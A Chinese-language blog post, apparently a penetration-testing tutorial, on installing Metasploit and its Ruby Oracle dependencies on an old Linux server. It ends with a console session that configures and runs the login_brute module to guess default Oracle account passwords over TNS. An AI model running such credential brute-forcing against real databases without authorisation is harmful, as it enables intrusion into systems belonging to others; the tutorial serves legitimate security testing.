by:vitter@safechina.net blog.securitycn.net
最近在搞oracle,一些小东西记录一下。
Metasploit是一个很好的攻击工具包,当然我们这次不是介绍这个工具包的,主要是大牛MC写了很多oracle的工具,在最近会经常用。我主要会用到经典工具tnscmd移植到MSF中的小工具(不如pl的好用,没换行,看结果很累),sid_brute和login_brute,用的最多的还是暴力破解oracle用户名和密码的login_brute。下面就说下怎么安装和使用,主要是安装,因为有些需要注意的东西,请注意斜体字。
1、先装gcc编译环境 (我用的server比较惨,最小安装,系统也老,FC2。)
rpm -ivh cpp-3.3.3-7.i386.rpm rpm -ivh glibc-kernheaders-2.4-8.44.i386.rpm rpm -ivh glibc-headers-2.3.3-27.i386.rpm rpm -ivh glibc-devel-2.3.3-27.i386.rpm rpm -ivh binutils-2.15.90.0.3-5.i386.rpm rpm -ivh gcc-3.3.3-7.i386.rpm
2、安装oracle客户端
下载:http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html rpm包安装比较省事,当然你也可以下载压缩包安装,按照说明来装即可。
rpm -ivh oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm oracle- instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm
装完后,执行下面2条命令,同时设置在环境变量里,加入到/etc/profile最后即可:
LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib/ export LD_LIBRARY_PATH
3、装ruby
下载:http://www.ruby-lang.org/en/downloads/
tar zxvf ruby-1.8.5-p231.tar.bz2 #(这个注意下,不要装1.9的版本,否则会出现MSF不能读CSV文件的问题,报NameError uninitialized constant CSV::Reader错误) cd ruby-1.8.5-p231 ./configure make && make install
4、装ruby-oci8
安装说明:http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html 下载:http://rubyforge.org/projects/ruby-oci8/ 这个ruby-oci8-1.0.6版本或者 ruby-oci8-2.0.0都可以。 安装前要确认环境变量,即sqlplus能正常运行就可: LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.3/client/lib export LD_LIBRARY_PATH
tar zxvf ruby-oci8-2.0.0.tar.gz cd ruby-oci8-2.0.0 make make install
5、装ruby-dbi
下载:http://rubyforge.org/frs/?group_id=234 用dbi-0.2.2,一定不要新过这个版本,否则MSF会报“The dbi module is not available!”错误。
cd dbi-0.2.2 ruby setup.rb config --with=dbi,dbd_oracle #(--with=dbi,dbd_oracle这个参数一定要,否则还是报dbi错误) ruby setup.rb setup ruby setup.rb install
6、下载安装使用MSF
svn co http://metasploit.com/svn/framework3/trunk/ ./ ./msfconsole
如果msf报错缺少openssl、zlib、gem,则需要先装下。
rpm -ivh openssl-devel-0.9.7a-35.i386.rpm cd ruby-1.8.5-p231/ext/openssl ruby extconf.rb make make install
装zlib
cd ruby-1.8.5-p231/ext/zlib ruby extconf.rb make make install
装gem
tar zxvf rubygems-1.3.1.tgz cd rubygems-1.3.1 ruby setup.rb all
一切ok就可以运行了(如果还缺别的按要求装上,用gem安装ruby模块很方便):
msf > use auxiliary/admin/oracle/login_brute msf auxiliary(login_brute) > set RHOST 192.168.0.11 RHOST => 192.168.0.11 msf auxiliary(login_brute) > set SID oracle SID => oracle msf auxiliary(login_brute) > info
Name: Oracle brute forcer for known default accounts. Version: 6876 License: Metasploit Framework License (BSD)
Provided by: MC <mc@metasploit.com>
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CSVFILE /root/msf3/data/wordlists/oracle_default_passwords.csv no The file that contains a list of default accounts. RHOST 192.168.0.11 yes The Oracle host. RPORT 1521 yes The TNS port. SID oracle yes The sid to authenticate with.
Description: This module uses a list of well known authentication credentials for bruteforcing the TNS service. A log file of discoverd credentials can be found in ./data/wordlists/oracle_default_found.log.
References: https://www.metasploit.com/users/mc http://www.petefinnigan.com/default/oracle_default_passwords.csv msf auxiliary(login_brute) > run
破解结果会存在MSF目录下data/wordlists/oracle_default_found.log文件里面。
|